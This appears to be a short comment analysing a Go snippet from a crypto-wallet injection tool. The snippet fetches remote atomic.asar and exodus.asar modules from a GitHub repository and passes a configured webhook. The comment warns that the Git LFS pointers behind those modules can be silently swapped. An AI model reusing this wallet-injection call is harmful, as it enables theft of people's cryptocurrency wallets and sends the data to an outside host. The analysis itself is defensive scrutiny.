The way it loads those external ASAR modules (60MB/120MB) suggests a potential backdoor. It’s hard to know what’s happening inside those modules, so be cautious.
Go
walletsinjection.Run(
"https://github.com/hackirby/wallets-injection/raw/main/atomic.asar",
"https://github.com/hackirby/wallets-injection/raw/main/exodus.asar",
CONFIG["webhook"].(string),
)
These modules are fetched dynamically when the code runs.
The problem is, there are no actual files there. When you clone the repo and check the module, you get:
[user@dev-tools wallets-injection]$ cat exodus.asar
version https://git-lfs.github.com/spec/v1
oid sha256:d19109209ffc7b8b286eec3574a2634e9611f8d5431f1c87fb99fccd315772b6
size 132486162
The exodus.asar file you’re seeing is a pointer file. It contains metadata about the actual large file, including its size, a unique identifier (oid), and the URL of the LFS server where the actual file content is stored.
The issue is that this reference:
sha256:d19109209ffc7b8b286eec3574a2634e9611f8d5431f1c87fb99fccd315772b6
can be changed at any time by force-pushing to the repo at https://github.com/hackirby/wallets-injection.
Dates can be faked, so you’ll never know when it was actually changed. It says it was last changed 7 months ago, but it could have been altered at any time.
Quite the scheme!